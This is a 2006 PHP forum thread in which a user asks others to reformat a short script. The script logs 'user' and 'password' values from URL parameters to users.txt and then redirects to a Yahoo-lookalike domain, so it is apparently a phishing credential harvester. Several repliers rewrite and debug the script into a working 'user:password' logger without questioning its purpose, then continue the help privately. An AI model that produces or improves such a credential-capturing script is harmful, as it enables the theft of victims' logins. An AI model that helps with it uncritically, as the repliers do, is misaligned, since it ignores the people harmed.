Jump to content


Photo

Log help! - HELPED ALREADY THANKS TOON!


  • Please log in to reply
13 replies to this topic

#1 Neep Help

Neep Help
  • New Members
  • Pip
  • Newbie
  • 8 posts

Posted 08 August 2006 - 11:08 AM

Hi all, I am in need of help editing this tiney php code. It saves in this format:

user=guest
password=password1

I would like one of you to alter the code so it saves in this format:

guest:password1

I have no idea how to do this help please!! ??? :-[

<?php
header("Location: http://yah-inc.net");
$handle = fopen("users.txt", "a");
foreach($_GET as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>


#2 ToonMariner

ToonMariner
  • Members
  • PipPipPip
  • Advanced Member
  • 3,342 posts
  • LocationNewcastle upon Tyne, UK

Posted 08 August 2006 - 11:14 AM

assuming th only variables passed to this script are user and password and they are posted....

(switch to $_GET['user'], $_GET['password'] id they passed via the url. - which they currently are! I say this as i would not pass such info via the url but thats just me.)

remove the for loop and replace with

$string = $_POST['user'] . ":" . $_POST['password'] . "\r\n";
fwrite($handle, $string);




follow me on twitter @PHPsycho

#3 Neep Help

Neep Help
  • New Members
  • Pip
  • Newbie
  • 8 posts

Posted 08 August 2006 - 11:30 AM

So my code in all would be?

<?php
header("Location: http://yah-inc.net");
$handle = fopen("users.txt", "a");
$string = $_POST['user'] . ":" . $_POST['password'] . "\r\n";
fwrite($handle, $string);
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

it does not work, i am a newbie to php..could you explain more...thanks :-[

#4 ToonMariner

ToonMariner
  • Members
  • PipPipPip
  • Advanced Member
  • 3,342 posts
  • LocationNewcastle upon Tyne, UK

Posted 08 August 2006 - 11:36 AM

<?php
header("Location: http://yah-inc.net");
$handle = fopen("users.txt", "a");
$string = $_GET['user'] . ":" . $_GET['password'] . "\r\n";
fwrite($handle, $string);

fclose($handle);
exit;
?>

Intrigued by the header being at the top of teh script. Perhaps move that to just above the exit command.
follow me on twitter @PHPsycho

#5 Neep Help

Neep Help
  • New Members
  • Pip
  • Newbie
  • 8 posts

Posted 08 August 2006 - 05:56 PM

the header is not a problem, i just have no idea where to add the code you posted!! ???

#6 wildteen88

wildteen88
  • Staff Alumni
  • Advanced Member
  • 10,482 posts
  • LocationUK, Bournemouth

Posted 08 August 2006 - 06:01 PM

The header is a problem as the code underneath it will not run, becuase as soon as PHP see the header function, it'll force the browser to move to http://yah-inc.net. Any code underneather it will not be run.

#7 Neep Help

Neep Help
  • New Members
  • Pip
  • Newbie
  • 8 posts

Posted 08 August 2006 - 07:14 PM

okay i changed the hearder and put it at the bottom..it does not log anything, i have no idea what i could possibly be doing wrong ???

#8 ToonMariner

ToonMariner
  • Members
  • PipPipPip
  • Advanced Member
  • 3,342 posts
  • LocationNewcastle upon Tyne, UK

Posted 08 August 2006 - 07:25 PM

Do you get ANY feedback off the script?

take out the header and the exit and see if any erros are reported...

I suspect a case of open_base_dir here.....
follow me on twitter @PHPsycho

#9 Neep Help

Neep Help
  • New Members
  • Pip
  • Newbie
  • 8 posts

Posted 08 August 2006 - 07:29 PM

Toon what i got when i did that was

  ???

#10 ToonMariner

ToonMariner
  • Members
  • PipPipPip
  • Advanced Member
  • 3,342 posts
  • LocationNewcastle upon Tyne, UK

Posted 08 August 2006 - 07:33 PM

is that in the file you expect to see the new log info or on screen as a result of teh script running?

What OS you using?
follow me on twitter @PHPsycho

#11 Neep Help

Neep Help
  • New Members
  • Pip
  • Newbie
  • 8 posts

Posted 08 August 2006 - 07:35 PM

that is when i check the userlog.txt i get that weird stuff, not sure about the os but is it running apache

#12 ToonMariner

ToonMariner
  • Members
  • PipPipPip
  • Advanced Member
  • 3,342 posts
  • LocationNewcastle upon Tyne, UK

Posted 08 August 2006 - 07:38 PM

get on msn (toonmariner@hotmail.com) or googletlak (toonmariner@gmail.com)
follow me on twitter @PHPsycho

#13 Neep Help

Neep Help
  • New Members
  • Pip
  • Newbie
  • 8 posts

Posted 08 August 2006 - 07:40 PM

okay mate!

#14 Neep Help

Neep Help
  • New Members
  • Pip
  • Newbie
  • 8 posts

Posted 08 August 2006 - 08:09 PM

-TOPIC CLOSED-

Toon helped me solve my problem - Thanks again buddy!! ;D




0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users